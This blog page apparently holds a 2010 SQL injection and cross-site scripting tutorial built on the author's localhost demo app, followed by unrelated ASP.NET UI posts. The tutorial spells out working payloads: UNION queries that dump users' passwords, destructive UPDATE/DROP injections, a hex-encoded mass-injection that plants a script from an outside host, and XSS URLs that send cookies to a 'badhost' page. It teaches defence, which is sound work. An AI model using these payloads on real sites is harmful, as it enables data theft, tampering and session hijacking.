Decrease Font Size
Increase Font Size
   BLOG

SQL Injection and Cross-Site Scripting

by bryian 16. August 2010 18:34

SQL Injection tutorial|

Cross-Site Scripting tutorial|

SQL Injection|

SQL Injection Cheat Sheet|

Cross-Side Scripting|

ASP.NET, SQL Cross-Site Scripting|

SQL Injection and Cross-Site Scripting

 

Introduction

For the pass couple months, I was helping on patching up several legacy web applications from the Cross-Site Scripting and SQL Injection vulnerabilities. I found lots of articles regarding this topic through Google but reading and experiment with it are virtually two different things. So I decided to put together a small sample code to examine the vulnerabilities that I found. You are welcome to download this sample code.

What is SQL Injection and Cross-site scripting?

Cross-Site Scripting (XSS or CSS)
• Enables malicious attackers to inject client-side script (JavaScript) or HTML markup into web pages viewed by other users.

SQL Injection
• Insertion of a SQL query via the input data from the client to the application that are later passed to an instance of SQL Server for parsing and execution.
• Very common with PHP and Classic ASP applications.

SQL Injection and Cross-Site Scripting attack are not relatively new topic. Read more about it from:
Cross-Site Scripting
SQL Injection –MSDN
SQL Injection - Wikipedia

The mentioned vulnerabilities can happens via the
1. Query string
2. Form input box

Sample Application

Steps to Set Up the Sample Application

1. Create a new database and name in TestDB.
2. Create a new login and map it to TestDB.
3. Run the TestDBSetup.sql.

Steps to Run the Sample Application

1. This sample code requires Visual Studio 2008 or newer, if you don't have it, download the 90-day trial edition from Microsoft (Click Here).
2. Download the sample code and unzip it.
3. Update the connectionString in the web.config.
4. Run the application and follow the sample described in this article. Make sure to remove any line break from the sample URL when copy and paste.
5. Shown below is the structure of the sample code.

Figure 1
File structure

Query string

SQL Injection

Definition: Insertion of a SQL query via the input data from the client to the application that are later passed to an instance of SQL Server for parsing and execution.

UNION SQL Injection

We will use the UNION statement to mine all the table names in the database. The two consecutive hyphens "--" indicates the SQL comments. See below, the comments are in green color, the query statement after the hyphens will not evaluated by the SQL server.

Listing 1

SELECT * FROM dbo.MyComments WHERE ID = 1 --ORDER BY [Name]


Execute the URL shown below.

Listing 2

http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL FROM INFORMATION_SCHEMA.TABLES--


It will yield the results "All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists." This error message emerges if we try to run a UNION, INTERSECT or EXCEPT query that has not an equal number of expressions in their SELECT list sections. The work around is to keep adding the NULL expression in the URL until the error message disappears.

Listing 3

http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL, NULL FROM INFORMATION_SCHEMA.TABLES--

http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES--


The error message will disappears if the query has equal number of expression in the UNION query. Next, try to replace each of the NULL value with TABLE_NAME. If you get an error message, leave it NULL.

Listing 4

http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL, TABLE_NAME, TABLE_NAME, TABLE_NAME, TABLE_NAME, NULL, NULL FROM INFORMATION_SCHEMA.TABLES--


Results
Figure 2

Table name

From the output displayed above, we know that the database contains several tables namely MyComments, tbl_SQLInjection, tbl_users and TestTable.

Next, we will extract every columns name in tbl_users table. Execute the URL shown in listing 5.

Listing 5

http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL, COLUMN_NAME, COLUMN_NAME, COLUMN_NAME, COLUMN_NAME, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'tbl_users'--


Result
Figure 3
tbl_users column

From the output displayed above, we witnessed that the tbl_users contains address, password, phone, secret, secret2 and username columns. To confirms that, shown below is the snapshot of tbl_users table schema from the SQL server.

Figure 4
tbl_users column SQL

Repeat the same step with different table name.

Listing 6

http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL, COLUMN_NAME, COLUMN_NAME, COLUMN_NAME, COLUMN_NAME, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'MyComments'--


Let retrieve the data stored in tbl_users table. The %2b and %27 are the URL encoding of the "+" and "'" character respectively. Execute the URL shown below with the string highlighted in grey.

Listing 7

http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL, username%2B %27 - %27%2Bpassword, secret %2B %27 - %27 %2B secret2, address, phone %2B %27 - %27 %2Baddress, NULL, NULL FROM tbl_users--


Results
Figure 5
tbl_users content

To confirms that, shown below is the snapshot of tbl_users table contents. Repeat the same step for the rest of the tables.

Figure 6
tbl_users content SQL

Retrieve data from sysprocesses table

We also can retrieve the SQL server instance name, login name, database name, SQL server version, and etc… from the master..sysprocesses table. Execute the URL below and observe the output.

Listing 8

http://localhost:1234/Sample/ListComments.aspx?cid=1 UNION SELECT NULL, DB_Name([dbid]) %2B CHAR(0x2d) %2B loginame, net_address, hostname %2B CHAR(0x2d) %2B %40%40ServerName, %40%40version, NULL, NULL FROM master..sysprocesses--

 

UPDATE the table

Listing 9

http://localhost:1234/Sample/ListComments.aspx?cid=1 UPDATE tbl_Users SET Password = 'HACKED' WHERE username ='test@test.com' --


Result
Figure 7
Modify password SQL

DELETE the data in the table

Listing 10

http://localhost:1234/Sample/ListComments.aspx?cid=99999 DELETE FROM tbl_Users WHERE username ='test@test.com' --

TRUNCATE the table

Listing 11

http://localhost:1234/Sample/ListComments.aspx?cid=99999 TRUNCATE TABLE tbl_Users --

DROP the table

Listing 12

http://localhost:1234/Sample/ListComments.aspx?cid=99999 DROP TABLE tbl_Users --

Hex based SQL injection

Once in a while, we will see some strange entries as listed below in the server log file.

Listing 13

http://www.YourDomain.com/SomePage.asp?id=1 &cat=c
DECLARE%20@S%20NVARCHAR(4000);
SET%20@S=CAST(4445434c415245204054207661726368617228323535292c40432076617263
68617228343030302920da4445434c415245205461626c655f437572736f72204
35552534f5220464f5220da73656c65637420612e6e616d652c622e6e616d6520
6726f6d207379736f626a6563747320612c737973636f6c756d6e73206220da77
6865726520612e69643d622e696420616e6420612e78747970653d27752720616
e642028622e78747970653d3939206f7220622e78747970653d3335206f722062
2e78747970653d323331206f7220622e78747970653d3136372920da4f50454e2
05461626c655f437572736f72204645544348204e4558542046524f4d20205461
626c655f437572736f7220494e544f2040542c4043205748494c452840404645…


Which when decoded to string will becomes (PLEASE DO NOT COPY AND RUN THIS QUERY)

Listing 14

DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR
 select a.name,b.name from sysobjects a,syscolumns b 
 where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 
 or b.xtype=167)
 OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) 
 BEGIN
 exec('update ['+@T+'] set ['+@C+']=''"></title><script src="http://badscript.com/bad.js"> 
 </script><!--''+['+@C+'] where '+@C+' not like ''%"></title><script 
 src="http://badscript.com/bad.js"></script><!--''')
 FETCH NEXT FROM 
 Table_Cursor INTO @T,@C END CLOSE
 Table_Cursor DEALLOCATE Table_Cursor

The above query will find all the text columns in the table of each database and append a malicious script to it.

Example

Shown below is a URL with a query string to retrieve comment from the SQL server by comment id.

http://localhost:1234/Sample/ListComments.aspx?cid=1


For the sake of simplicity, I'm using a simple update statement to update the table. The "UPDATE dbo.MyComments SET test='HACKED'" query will look like 0x5550444154452064626f2e4d79436f6d6d656
e74732053455420746573743d274841434b454427 in hexadecimal. The %3b is the URL encoding of the ";" character. Append the string highlighted in grey to the URL. See below.

Listing 15

http://localhost:1234/Sample/ListComments.aspx?cid=1
DECLARE @S VARCHAR(255) SET @s=CAST(0x5550444154452064626f2e4d79436f6d6d656e
74732053455420746573743d274841434b454427 AS VARCHAR(255)) exec (@s)--

Or
http://localhost:1234/Sample/ListComments.aspx?cid=1 DECLARE @S VARCHAR(255)SET @s=CAST(0x5550444154452064626f2e4d79436f6d6d656e747320534554207465737
43d274841434b454427 AS VARCHAR(255)) exec (@s)--


Before executing the above URL

Figure 8
Before executing

After executing the above URL

Figure 9
After qs injection

Quick test

Append the below string to your web pages URL that take parameters.

Listing 16

http://localhost:1234/Sample/ListComments.aspx?cid=1 DECLARE @S VARCHAR(500)
SET @s= CAST(0x4946204f424a4543545f4944282774626c5f5
3514c496e6a656374696f6e272c275527292
04953204e554c4c20435245415445205441424c452064626f2e5b
74626c5f53514c496e6a656374696f6e5d285b4f75747075745d2
05b766172636861725d2835303029204e554c4c2920494e534552
5420494e544f2064626f2e74626c5f53514c496e6a656374696f6
e2053454c454354202770616765202d205375626a65637420746
f2053514c20496e6a656374696f6e27 as VARCHAR(500))Exec(@s)--


If the URL parameter value is not an integer, try append '; or '); or ; in front of the DECLARE keyword. See below for an example.

Listing 17

; DECLARE @S VARCHAR(500) SET @s=
CAST(0x4946204f424a4543545f4944282774626c5f53514c496e6a656374696f
6e272c27552729204953204e554c4c20435245415445205441424c452064626f2
e5b74626c5f53514c496e6a656374696f6e5d285b4f75747075745d205b766172
636861725d2835303029204e554c4c2920494e5345525420494e544f2064626f2
e74626c5f53514c496e6a656374696f6e2053454c454 354202770616765202d2
05375626a65637420746f2053514c20496e6a656374696f6e27 as VARCHAR(500))Exec(@s)-- …


Then, execute this query "SELECT * FROM dbo.tbl_SQLInjection" in SQL Server Management Studio. If you see the results similar to the one shown below, then the web page is subjected to Hex based SQL Injection. Repeat the above step for the rest of the web pages.

Figure 10
afrer hacked

If the URL parameter value is not an integer, try append '; or '); or ; in front of the query.

Cross-Site Scripting (CSS/XSS) attack

Definition: Enables malicious attackers to inject client-side script or HTML markup into web pages viewed by other users.
Let say we have a login page and it will display an error message for every unsuccessful attempt. The error message is stored within the query string of the URL and later display in the Label control. See figure 11.

Figure 11
Login page
Consider this scenario, an anonymous user sends you an email with the following content:

Listing 18

Dear Admin,
There is problem with the login page: http://localhost:1234/Sample/LoginPage.aspx?strErr=
%22%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%6F%
63%61%6C%68%6F%73%74%3A%39%39%39%37%2F%62%61%64%68%6F%73%74%2F%6D%61%6C%6
9%63%69%6F%75%73%73%63%72%69%70%74%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E

Or
"There is problem with the login page http://localhost:1234/Sample/LoginPage.aspx" with the URL pointing to the above link.


The part of the URL highlighted in grey is encoded in Hexadecimal value. When decoded, it will become

Listing 19

http://localhost:1234/Sample/LoginPage.aspx?strErr="><script src="http://localhost:9997/badhost/maliciousscript.js"></script>


If we let our guard down and click on the link in the email, the browser will execute the malicious scripts. Execute the URL and you should see a pop-up message. Shown below is a script embedded in the query string to steal browser cookies.

Listing 20

http://localhost:1234/Sample/LoginPage.aspx?strErr=
%3C%73%63%72%69%70%74%3E%76%61%72%20%73%3D%27%3C%49%46%52%41%4D%45%20%73%74%79%
6C%65%3D%22%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%22%20%53%52%43%3D%68%74%74%70%3
A%2F%2F%6C%6F%63%61%6C%68%6F%73%74%3A%39%39%39%37%2F%62%61%64%68%6F%73%74%2F%63
%6F%6F%6B%69%65%6D%6F%6E%73%74%65%72%2E%61%73%70%78%3F%63%3D%27%2b%65%73%63%61%
70%65%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%2b%27%3E%3C%5C%2F%49%
46%52%41%4D%45%3E%27%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%73%29%3C%
2F%73%63%72%69%70%74%3E


When decoded, it will look like:

Listing 21

http://localhost:1234/Sample/LoginPage.aspx?strErr=<script>var s='<IFRAME style="display:none" SRC=http://localhost:9997/badhost/cookiemonster.aspx?c= '%2bescape(document.cookie)%2b'><\/IFRAME>';document.write(s)</script>


The script will embed an IFRAME on to the page and pointing to http://localhost:9997/badhost/cookiemonster.aspx with a query string parameter "c". This parameter holds the cookies value created by the "SQLInjection_XSS_Demo" application. To demonstrate this, I created few cookies on the LoginPage.aspx. The cookiemonster.aspx will record all the cookies names and values in the CookieJar.txt.

Listing 22

void FakeCookies()
  {
  Response.Cookies["email"].Value = "bryian.tan@mydomain.com";
  Response.Cookies["email"].Expires = DateTime.Now.AddDays(1);
  Response.Cookies["age"].Value = "22";
  Response.Cookies["age"].Expires = DateTime.Now.AddDays(1);
  }

After executing the above URL, we will see the below entries in the CookieJar.txt.

Figure 12
Cookies list

So what? What is the attacker going to do with my cookies information? Let say the page will store some information in the cookies after successful login attempt. Login using one of the username found in the tbl_users table then refresh the web page. The page will pull out some information from the cookies and display the results on to the page. See below.

Figure 13

Data from Cookies

Update table with malicious script

We already know the tables and columns name from the previous example. Execute the URL shown in listing 23 to update the MyComment table with a JavaScript to tamper the cookies. This script will inject a script into the cookies value. Then navigate to the ListComments.aspx page to trigger the script and navigate back to LoginPage.aspx. You should see a popup message "XSS from bad host" indicates that the script was successfully executed by the browser.

Listing 23

http://localhost:1234/Sample/ListComments.aspx?cid=1 UPDATE MyComments SET Comment = %27<script>c="\<script src=\"http://localhost:9997/badhost/maliciousscript.js\"><\/script>"; document.cookie = "email="%2bc;</script> test %27 WHERE id =1 --


Let append some malicious scripts to the MyComment table. Execute the URL shown below.

Listing 24

http://localhost:1234/Sample/ListComments.aspx?cid=1 %55%50%44%41%54%45%20%4D%79%43%6F%6D%6D%65 %6E%74%73%20%53%45%54%20%4E%61%6D%65%3D%27%3C%73%63%72%69%70%74%20%73% 72%63%3D%22%68%74%74%70%3A%2F%2F%6C%6F%63%61%6C%68%6F%73%74%3A%39%39%3 9%37%2F%62%61%64%68%6F%73%74%2F%6D%61%6C%69%63%69%6F%75%73%73%63%72%69 %70%74%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%27%20%2D%2D


The URL string highlighted in grey, which when decoded, will becomes

Listing 25

http://localhost:1234/Sample/ListComments.aspx?cid=1 UPDATE MyComments SET Name='<script src="http://localhost:9997/badhost/maliciousscript.js"></script>' --


Refresh the page, and we will see a popup message shown below. This indicates that the malicious script crafted by the attacker was successfully executed by the browser.

Figure 14
XSS from bad host

The URL shown below will embed a HTML IFrame on to the page and will trigger the cookiemonster.aspx page every time a user navigates to the ListComments.aspx page. Execute it, navigate to ListComments.aspx page and observe that new contents are being appended to the CookieJar.txt file without a trace or warning message.

Listing 26

http://localhost:1234/Sample/ListComments.aspx?cid=1 UPDATE MyComments SET Name= '<script>var s="<IFRAME style=display:none SRC=http://localhost:9997/badhost/cookiemonster.aspx? c="%2bescape(document.cookie)%2b"><\/IFRAME>";document.write(s)</script>' --

 

Quick test

Append any of the below string highlighted in grey to your web pages URL that take parameters. If you see a pop-up message, then the web page is subjected to Cross-Site Scripting attack.

• http://localhost:1234/Sample/LoginPage.aspx?strErr="><scrIpt>alert("XSS")</scriPt>
• http://localhost:1234/Sample/LoginPage.aspx?strErr=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%58
%53%53%22%29%3C%2F%73%63%72%69%70%74%3

• http://localhost:1234/Sample/LoginPage.aspx?strErr=</TITLE><sCRIPT>alert("XSS");</SCRIPt>
• http://localhost:1234/Sample/LoginPage.aspx?strErr=<BODY%20ONLOAD=alert("XSS")>
• http://localhost:1234/Sample/LoginPage.aspx?strErr="><iFRAME%20SRC="javascript:alert('XSS');"></IFRaME>

Forms input

SQL Injection

We can bypass the login page by simply adding ' or 1=1 -- to the login id and place any value in the password field. See example below.

Figure 15
SQL Injection login screen

If there are no maximum number of characters defined on the TextBox, the attacker can append the SQL statement mentioned above to the form input's value. Let's say we have a page to update the comment and I update the comment with the value shown below. We should see a new entry in the tbl_SQLInjection table after the update.

Listing 27

'; DECLARE @S VARCHAR(500) SET @s=
CAST(0x4946204f424a4543545f4944282774626c5f53514c496e6a656374696f6e2
72c27552729204953204e554c4c20435245415445205441424c452064626f2e5b746
26c5f53514c496e6a656374696f6e5d285b4f75747075745d205b766172636861725
d2835303029204e554c4c2920494e5345525420494e544f2064626f2e74626c5f535
14c496e6a656374696f6e2053454c454354202770616765202d205375626a6563742
0746f2053514c20496e6a656374696f6e27 as VARCHAR(500))Exec(@s)--


Next, I'll demonstrate a simple way an attacker can update every column in the table with the same value. Let's update the Name value with hacked ';--

Figure 16
Update column value to hacked

Retrieve all the rows from the MyComments table and witness that all the value in name column were updated to "hacked". As mentioned earlier, the two consecutive hyphens "--" indicates the SQL comments, the query statement after the hyphens will not evaluated by the SQL server. Please make sure to backup the database before replicating this demonstration.

Figure 17
form injection update

Cross-Site Scripting

Cross-Site Scripting enables malicious attackers to inject client-side script or HTML markup into web pages viewed by other users. This can happen through the input form. Update the comment with the string "<script src="http://localhost:9997/badhost/maliciousscript.js"></script>". You should see a pop-up message when you navigate to ListComments.aspx page.

Figure 18
Update form with XSS

Quick Test

Update the form value with any of the string listed below and observe the outcome. Make sure the string is in one line and no line break. If the JavaScript executes successfully by the browser or displays unexpected result then the web page is subjected to Cross-Site scripting.

• <BODY ONLOAD=''javascript:window.location="http://www.google.com"''>
• <BODY ONLOAD="javascript:alert(''XSS'')">
• <p onmouseover=javascript:window.location="http://www. google.com";>test
• <p onmousemove=javascript:window.location="http://www. google.com";>test
• <p onMouseDown=javascript:window.location="http://www.google.com";>test
• <span onmouseover=javascript:window.location="http://www. google.com";>test</span>
• <span onmousemove=javascript:window.location="http://www.google.com";>test</span>
• <h2 onmouseover=javascript:window.location="http://www.google.com";>test
• <div onmouseover=javascript:window.location="http://1208929383";>test
• <meta http-equiv="refresh" content="1; URL=http://1208929383">
• <b onmouseover=javascript:window.location="http://www.google.com"; >test
• <img onmouseover=javascript:window.location="http://www.google.com";>
• <img src=http://www.google.com/images/srpr/nav_logo14.png width="1" height="1" onLoad=javascript:window.location="http://www.google.com";>
• <div style="width:100%" onresize=javascript:window.location="http://www.google.com";>test</div> (Resize the browser to see the behavior)
• <tt style="width:100%" onmousemove=javascript:window.location="http://www.google.com";>test
• <PLAINTEXT> test
• <object> test
• <applet> test
• <textarea> test
• <title> test
• <table> test
• <style> test
• <noscript> test

Point of interest

Do not rely solely on client-side validation (JavaScript)

The attacker can bypass the client-side validation by disabling the JavaScript in web browsers. Do not depend exclusively on JavaScript to search and replace potentially dangerous HTML statement or SQL Injection keywords. Make sure to revalidate the user inputs at the server-side. I know is a lot of work, but for the sake of security we have to do it. In the add comment section, the page is using the JavaScript to check for blank fields. Try to disable the JavaScript on your browser and add the comment again. Click here to learn on how to disable and enable the JavaScript.

Replacing single quotation mark (') with two single quotation mark ('')

I saw some web site mentioning that SQL Injection vulnerability can be prevented by simply replacing single quotation mark with double quotation mark. That not always the case, the attackers still able to inject the SQL table with malicious script or HTML markup without the single quotation mark. Malicious users can bypass the filter by using different character encoding, please refer to "How To: Prevent Cross-Site Scripting in ASP.NET", table 1.

Inline Code/tags

There are several ways to display information from an ASP.NET program. We can display information in the page using an embedded code block. <% ... %> or using <%= … %> construction. Another way is to use data-binding syntax <%# … %> to bind control property values to data and specify values for retrieving, updating, deleting, and inserting data. Make sure to apply either the HttpUtility.HtmlEncode or Server.HtmlEncode methods to encode the form data and other client request before displaying it in the web page. This will help prevent possible Cross-Site Scripting injection attacks. With ASP.NET 4.0, the new <%: … %> code nugget-syntax will automatically HTML encode the output before it is rendered.

Stored procedure

I'm using stored procedure in my web application, are stored procedures immune to SQL Injection attacks? The answer is "it depends". If we are using dynamic SQL statements within stored procedure then it might open to SQL Injection attacks. Shown below is the stored procedure with dynamic SQL statement in it.

Figure 19
Dynamic SQL
Update the comment field with the value ha ha ha';--. The "Update using inline query" and "Update using SP – Dynamic Query" button will update every comment field in the table with the specified value. On the other hand, the "Update using SP" button will only update the current record.

Figure 20
Update comment

Request validation (ASP.NET)

Please note that the ValidateRequest attribute in the @page directive is set to false on purpose to emulate the Classic ASP environment and prevent the .NET framework from throwing the error ("A potentially dangerous Request.Form value was detected from the client"). If you happen to come across this error message in your application, rethink the business logic or page architecture before disabling the request validation.

More reading/ Prevent SQL Injection and Cross-Side Scripting

Adding Cross-Site Scripting Protection to ASP.NET 1.0
ASP.NET 2.0 Security Best Practices - Must Read Article on MSDN
How To: Prevent Cross-Site Scripting in ASP.NET
Security Practices: ASP.NET Security Practices at a Glance
SQL Injection
SQL Injection General Guidance
Stop SQL Injection Attacks Before They Stop You

Conclusion

I hope someone will find this information useful. If you find any bugs or disagree with the contents, please drop me a line and I'll work with you to correct it. I would suggest downloading the demo and explore it in order to grasp the full concept of it. Please send me an email if you want to help improve this article.

Resources

ASCII/HEX/HTML table
Cross Site Scripting
Data-Binding Expressions Overview
How To: Prevent Cross-Site Scripting in ASP.NET
SQL Injection cheat sheet
SQL Injection Walkthrough
String to hex
XType Datatype

Downloads

Download

ASP.NET Hide Controls after number of seconds

by bryian 5. June 2010 19:06

Hide an ASP.NET Label control after a few seconds |

Hide Label control after delay |

Hide DIV after few seconds |

Hide asp label after 5 seconds |

asp:label that will disappear in 5 seconds

 

Introduction

One of the functional requirements for my web page is to hide an ASP.NET Label Control after displaying it for number of seconds in response to button click event. I found few examples on Google.com but somewhat not meet my constraint. I'm also looking for functionality to hide controls other than the Label control, hide multiple controls simultaneously and writing client-side JavaScript for re-use. I have put together an example code showing the implementation of the mentioned requirements.

Figure 1
results

Putting everything together

Shown below is the JavaScript function that accepts two parameters namely ctrl and timer. The first parameter is a string that contains the control ID for HTML markup. We can pass in a single control ID or as many control ID as we need from the code behind. See below for an example.
1. ControlOne.ClientID
2. ControlOne.ClientID + ","+ControlTwo.ClientID +", " + ControlThree.ClientID + …

The second parameter indicates how many milliseconds from now the application should hide the control. This client-side script split the ctrl on the comma (,) and put the results into an array. Then it will loop through the array and set the element property display value to "none".

Listing 1

function HideCtrl(ctrl, timer) {
    var ctry_array = ctrl.split(",");
    var num = 0, arr_length = ctry_array.length;
    while (num < arr_length) {
        if (document.getElementById(ctry_array[num])) {
            setTimeout('document.getElementById("' + ctry_array[num] + '").style.display = "none";', timer);
        }s
        num += 1;
    }
    return false;
}

Shown in listing 2 is the content of the .aspx file.

Listing 2

<div style="width: 90%;">
    <div style="background:#CCCFFF;padding:5px 0 6px 10px">Guess the number game</div>
    <div style="border:solid 1px #919191;padding:0 0 20px;min-height:100px;">
        <asp:Label ID="Label1" runat="server" Text="Enter a number between 1 and 5" />
         <asp:TextBox ID="txtAns" runat="server" Width="30px" />
        <asp:RequiredFieldValidator ID="RequiredFieldValidator1" 
                runat="server" ErrorMessage="*" 
                Display="Dynamic" ControlToValidate="txtAns" />
        <asp:RangeValidator ID="RangeValidator1" runat="server" 
                ErrorMessage="(1-5)" ControlToValidate="txtAns" 
                Display="Dynamic" MaximumValue="5" Type="Integer" 
                MinimumValue="1" />
                
            <asp:Button ID="btnExampleOne" runat="server" Text="Submit" />  
            
            <br /> <br /><asp:Label ID="lblMsg" runat="server" Text="" />
                        
            <div runat="server" visible="false" id="divBallon">
                <asp:Label ID="lblMsg2" runat="server" Text=""></asp:Label>
                <img src="images/ballons-07.gif" alt="ballons" />
            </div>
    </div>
</div>

Add the code shown in listing 3 to the page load events to direct the client not to store the responses in its history. This will prevent the control from re-appearing when the user clicks on the browser back button.

Listing 3

Response.Cache.SetNoStore();

Displayed below is the code in the button click event. The code is pretty straight forward. Use the ScriptManager.RegisterStartupScript() method if the ASP.NET markup code are in the UpdatePanel, else use the Page.ClientScript.RegisterStartupScript() method.

Listing 4

    void btnExampleOne_Click(object sender, EventArgs e)
    {
        Random rand = new Random();
        string strScript = string.Empty;
        int intRndNum = rand.Next(1, 6);
        int intRes = int.Parse(txtAns.Text);

        string strCtrl = lblMsg.ClientID;

        //multiple control
        //string strCtrl = lblMsg.ClientID + ", " + control2.clientID + "," +control3.ClientID;

        strScript = "HideCtrl('" + strCtrl + "', '3000')";

        if (intRes == intRndNum)
        {
            lblMsg2.Text = "The correct number is: " + intRndNum + ". You entered: " + intRes + ". Good job!";
            lblMsg.Text = string.Empty;
            divBallon.Visible = true;
		//hide the DIV
            strScript = "HideCtrl('" + divBallon.ClientID + "', '3000')";
        }
        else
        {
            divBallon.Visible = false;
            lblMsg.Text = "The correct number is: " + intRndNum + ". You entered: " + intRes + ". Please try again.";
        }

        Page.ClientScript.RegisterStartupScript(this.GetType(), Guid.NewGuid().ToString(), strScript, true);
    }

History

  • June 06, 2010: First release.

Conclusion

If you find any bugs or disagree with the contents, please drop me a line and I'll work with you to correct it. I would suggest downloading the demo and explore it in order to grasp the full concept of it because I might left out some useful information.

IE, Firefox, Google Chrome, Safari

Tested on IE 6.0/7.0/8.0, Google Chrome, Firefox, Safari

Resources

Hide asp label after 5 seconds
HttpCachePolicy.SetNoStore Method

Watch this script in action

Demo

Downloads

Download

ASP.NET - Limit number of characters in TextBox control

by bryian 19. May 2010 18:03

Limit the Number of Characters in a Textarea or Text Field |

Limit number of characters in a multiline TextBox? |

TextBox Characters Counter using JavaScript |

Limiting word count in multiline TextBox |

textarea characters limit? |

Limit Character count in Multiline Textbox |

ASP.NET limit TextBox characters

 

Introduction

Recently, I was revisiting the JavaScript used to limit the number of characters in a TextBox control. This client-side script utilized document.getElementById method and the control ID for HTML markup that was generated by ASP.NET. The problem with this script was that it did not work correctly with multiple TextBox controls on the web page and not cross-browser compatible. So I decided to rewrite it to ease the mentioned problems. Shown in Listing 1 is the new content of the JavaScript. There are two functions resided in it namely validateLimit and get_object. The former function accepts three parameters.

1. TextBox object
2. HTML Div id (to hold the text)
3. Maximum number of characters the TextBox control can hold

The purpose of the later function is to ensure that modern and older browsers are able to access the form elements.

Listing 1

    function validateLimit(obj, divID, maxchar) {

        objDiv = get_object(divID);

        if (this.id) obj = this;

        var remaningChar = maxchar - trimEnter(obj.value).length;

        if (objDiv.id) {
            objDiv.innerHTML = remaningChar + " characters left";
        }
        if (remaningChar <= 0) {
            obj.value = obj.value.substring(maxchar, 0);
            if (objDiv.id) {
                objDiv.innerHTML = "0 characters left";
            }
            return false;
        }
        else
        { return true; }
    }

    function get_object(id) {
        var object = null;
        if (document.layers) {
            object = document.layers[id];
        } else if (document.all) {
            object = document.all[id];
        } else if (document.getElementById) {
            object = document.getElementById(id);
        }
        return object;
    }
    //http://lawrence.ecorp.net/inet/samples/regexp-format.php#convert
    function trimEnter(dataStr) {
        return dataStr.replace(/(\r\n|\r|\n)/g, "");
    }

Putting everything together.

Listing 2

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title>Without master page</title>
     <script type="text/javascript" src="js/JScript.js" ></script>
</head>
<body>
    <form id="form1" runat="server">
     <div> <br />
    <div id="lblMsg1">240 characters left</div>
    <asp:TextBox ID="TextBox1" runat="server" Height="50px" MaxLength="240" TextMode="MultiLine"
                    Width="600px" ToolTip="Summary:(240 characters)" 
                    onkeyup="return validateLimit(this, 'lblMsg1', 240)"></asp:TextBox>
        <asp:RequiredFieldValidator ID="RequiredFieldValidator1" runat="server" 
            ControlToValidate="TextBox1" Display="Dynamic" 
            SetFocusOnError="True">*</asp:RequiredFieldValidator>
    <br /><br /><br />
    <div id="lblMsg2">300 characters left</div>
    <asp:TextBox ID="TextBox2" runat="server" Height="50px" MaxLength="300" TextMode="MultiLine"
                    Width="600px" ToolTip="Summary:(300 characters)" 
                    onkeyup="return validateLimit(this, 'lblMsg2', 300)"></asp:TextBox>
        <asp:RequiredFieldValidator ID="RequiredFieldValidator2" runat="server" 
            ControlToValidate="TextBox2" Display="Dynamic" 
            SetFocusOnError="True">*</asp:RequiredFieldValidator>
    <br /> <br />
    <asp:Button ID="Button1" runat="server" onclick="Button1_Click" Text="Button" />
    <br />
    </div>
    </form>
</body>
</html>

Here is the output:

Figure 1

characters count

History

  • May 20, 2010: First release.
  • May 20, 2010
    • Added new function trimEnter to replace enter key with empty string.

Conclusion

If you find any bugs or disagree with the contents, please drop me a line and I'll work with you to correct it. I would suggest downloading the demo and explore it in order to grasp the full concept of it because I might left out some useful information.

IE, Firefox, Google Chrome, Safari

Tested on IE 6.0/7.0/8.0, Google Chrome, Firefox, Safari

Resources

document.getElementById On All Browsers – Cross browser getElementById
Modifying Strings with Regular Expressions

Watch this script in action

Demo

Downloads

Download

ASP-NET AJAX MultiHandleSliderExtender - Slide by Year and Month

by bryian 6. March 2010 18:27

ASP.NET How to use MultiHandleSliderExtender|

multi handle slider extender|

MultiHandleSlider Control|

MultiHandleSliderExtender|

Ajax MultiHandleSliderExtender|

ASP.NET Charts storage mode |

AJAX Control Toolkit|

OnClientDrag, OnClientDragEnd, RaiseChangeOnlyOnMouseUp

Last updated - 03/09/2010

Replaced the PageMethods with client-side JavaScript Array. I received a feedback from the CodeProject member quoted "Here is the problem the dragging is sending many requests to the server and the last one gets executed but then that means the database has to work that extra bit and also the IIS." I thinks he has a point, so I decided to store the year and month data for each RowNumber on the client-side JavaScript array. This will allow the sliders' range label be updated through the client-side. See New Update 1 section.

Introduction

In this tutorial, I will demonstrate how to use MultiHandleSlider extender to choose or display year and month in a range. This control eliminates the need to use four DropDownlist controls to hold the range values and validation control for validating user selection. Then we will use the Column Chart to display number of cars on Sesame Street based on the selected range values. This chart allows the user to drill down into details for the selected car brands. See figure 1.

Figure 1
MultiHandleSlider results

Getting Started

  1. Download AJAX Control Toolkit Release Notes - May 2009 Release
  2. Download Samples Environment for Chart Controls
  3. Displayed below is the snapshot of the project solution explorer. You are welcome to download this demo.

Figure 2

Project Structure

Back-end database

First, add a new column to the table, name it YearMonth and populate it with the concatenation of the Year and Month data. See figure 3. The original table is on the left. With this setup, we can easily select data within the desired year and month range from the table.

Figure 3
Add column to table

Use ROW_NUMBER function to generate row number for each row of the result set. Then we can use the row number to populate the slider range of values. The query shown below return sixty two rows and this means that the slider range of values goes from one to sixty two. In other words we can set the minimum and maximum properties of the slider to one and sixty two respectively.

Figure 4
Create Row Number

Putting everything together

